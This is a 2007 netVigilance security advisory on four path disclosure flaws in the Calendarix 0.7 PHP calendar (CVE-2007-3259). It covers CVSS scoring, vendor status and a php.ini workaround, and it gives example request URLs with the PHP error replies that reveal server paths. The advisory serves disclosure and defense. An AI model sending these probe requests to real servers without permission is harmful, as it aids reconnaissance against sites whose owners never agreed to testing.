netVigilance Security Advisory #36
Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.
External References:
Mitre CVE: CVE-2007-3259
NVD NIST: CVE-2007-3259
OSVDB: 35371
Summary:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script.
Advisory URL:
http://www.netvigilance.com/advisory0036
Release Date:
06/19/2007
Severity:
Risk: Low
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17968
Vulnerable Systems:
Calendarix version 0.7. 20070307
Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Vincent Hor (Calendarix Enterprise)
Vendor Status:
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.
Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month[]=1
REPLY:
<b>Warning</b>: Illegal offset type in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]calendar.php</b> on line <b>53</b><br />
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_week.php?op=week&catview[]=1
REPLY:
<b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>91</b><br />
<b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>92</b><br />
<b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT- DIRECTORY] cal_header.inc.php </b> on line <b>93</b><br />
...
<b>Warning</b>: mysql_num_rows(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>184</b><br />
...
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>186</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear[]=1
REPLY:
<b>Fatal error</b>: Unsupported operand types in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]yearcal.php</b> on line <b>79</b><br />
Path Disclosure Vulnerability 4:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_functions.inc.php
REPLY:
<b>Fatal error</b>: Call to undefined function: translate() in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_functions.inc.php</b> on line <b>17</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
??
??
??
??